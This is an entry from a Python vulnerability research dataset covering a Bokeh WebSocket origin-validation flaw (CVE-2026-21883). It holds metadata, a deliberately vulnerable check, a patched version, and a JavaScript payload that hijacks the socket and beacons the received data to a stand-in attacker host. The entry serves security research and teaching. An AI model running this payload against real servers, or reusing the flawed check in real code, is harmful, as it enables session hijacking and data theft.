CVE-2026-21883
Bokeh's flawed Origin allowlist validation allows WebSocket hijacking.
- CVSS 4.5
- CWE-1385
- Authentication, Authorization, and Session Management
- Remote
Bokeh is an interactive visualization library written in Python. In versions 3.8.1 and below, if a server is configured with an allowlist (e.g., dashboard.corp), an attacker can register a domain like dashboard.corp.attacker.com (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., http://dashboard.corp.attacker.com/) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. This issue is fixed in version 3.8.2.
- CWE
- CWE-1385
- CVSS base score
- 4.5
- Published
- 2026-01-08
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Cross-Site Request Forgery (CSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- Bokeh
- Fixed by upgrading
- Yes
Solution
Upgrade Bokeh to version 3.8.2 or later.
Vulnerable code sample
# This code represents the flawed origin validation logic present in
# Bokeh versions 3.8.1 and below, which led to CVE-2026-21883.
# NOTE: This is a simplified, self-contained representation for demonstration.
# The actual implementation was part of Bokeh's server connection handling.
from urllib.parse import urlparse
def _check_websocket_origin_vulnerable(origin, allowlist):
"""
Simulates the vulnerable origin check from Bokeh <= 3.8.1.
The vulnerability lies in using a simple `endswith` check on the hostname.
An attacker-controlled domain like 'dashboard.corp.attacker.com'
will incorrectly pass the check for an allowlist entry of 'dashboard.corp',
because the string 'dashboard.corp.attacker.com' ends with 'dashboard.corp'.
The correct, non-vulnerable check would ensure that the match occurs at a
domain boundary (e.g., the character before the match is a '.' or the
hostname is an exact match).
Args:
origin (str): The value of the 'Origin' header from a WebSocket request.
allowlist (list[str]): A list of allowed hostnames.
Returns:
bool: True if the origin is deemed acceptable by the flawed logic, False otherwise.
"""
try:
# Parse the full origin URL (e.g., "http://host:port") to get the hostname.
parsed_origin = urlparse(origin)
origin_host = parsed_origin.hostname
if origin_host is None:
return False
except (ValueError, TypeError):
return False
# The core of the vulnerability.
# It checks if the requesting origin's hostname *ends with* an entry
# in the allowlist, without validating domain boundaries.
for host in allowlist:
if origin_host.endswith(host):
# This check is flawed.
# For `host` = "dashboard.corp":
#
# "dashboard.corp" -> True (correct)
# "sub.dashboard.corp" -> True (correct, if subdomains are desired)
# "dashboard.corp.attacker.com" -> True (INCORRECT - THE VULNERABILITY)
#
# The connection is accepted because the attacker's hostname string
# ends with a string from the allowlist.
return True
return False
# --- Demonstration of the Flaw ---
# A server is configured with an allowlist. It intends to only allow connections
# from 'dashboard.corp' and its legitimate subdomains.
VULNERABLE_ALLOWLIST = ["dashboard.corp"]
# Test Case 1: A legitimate request from the exact allowed domain.
legitimate_origin = "http://dashboard.corp:80"
is_allowed_1 = _check_websocket_origin_vulnerable(legitimate_origin, VULNERABLE_ALLOWLIST)
# Result for legitimate_origin: True (Correctly allowed)
# Test Case 2: An unrelated, non-malicious request from a different domain.
unrelated_origin = "http://some-other-site.com"
is_allowed_2 = _check_websocket_origin_vulnerable(unrelated_origin, VULNERABLE_ALLOWLIST)
# Result for unrelated_origin: False (Correctly blocked)
# Test Case 3: The exploit. A request from an attacker-controlled domain that
# is crafted to pass the flawed `endswith` check.
malicious_crafted_origin = "http://dashboard.corp.attacker.com"
is_allowed_3 = _check_websocket_origin_vulnerable(malicious_crafted_origin, VULNERABLE_ALLOWLIST)
# Result for malicious_crafted_origin: True (INCORRECTLY ALLOWED - THIS IS THE VULNERABILITY)Patched code sample
import re
from urllib.parse import urlparse
def check_origin_fixed(origin_url: str, allowlist: list[str]) -> bool:
"""
Checks if the origin URL is in the allowlist, using a corrected logic
that prevents subdomain-like attacks.
"""
if "*" in allowlist:
return True
try:
parsed_origin = urlparse(origin_url)
origin_host = parsed_origin.hostname
if origin_host is None:
return False
except ValueError:
return False
# Bokeh allows specifying ports in the allowlist, e.g., "localhost:8080"
# We strip the port from the origin for a primary hostname check.
origin_host_without_port = origin_host.split(":")[0]
for host_pattern in allowlist:
# Check for an exact match (including port, if specified)
if origin_host == host_pattern:
return True
# If the allowlist entry contains a port, only do exact matches
if ":" in host_pattern:
continue
# Check for a hostname match or a valid subdomain match.
# A valid subdomain `sub.domain.com` for `domain.com` must end with
# `.domain.com`. This prevents `baddomain.com` from matching.
# It also prevents `fakedomain.com` from matching `akedoamin.com`.
if (origin_host_without_port == host_pattern or
origin_host_without_port.endswith(f".{host_pattern}")):
return True
return FalsePayload
const targetWsUrl = "wss://vulnerable-bokeh-server.com/app-path/ws";
const attackerLogUrl = "https://attacker-server.com/log-data";
const socket = new WebSocket(targetWsUrl);
socket.onopen = function(event) {
const patchMsg = {
"msgtype": "patch-doc",
"msgid": "exploit-1",
"doc": {}
};
socket.send(JSON.stringify(patchMsg));
};
socket.onmessage = function(event) {
navigator.sendBeacon(attackerLogUrl, event.data);
};
socket.onerror = function(error) {
console.error("WebSocket Error:", error);
};
Cite this entry
@misc{vaitp:cve202621883,
title = {{Bokeh's flawed Origin allowlist validation allows WebSocket hijacking.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-21883},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-21883/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
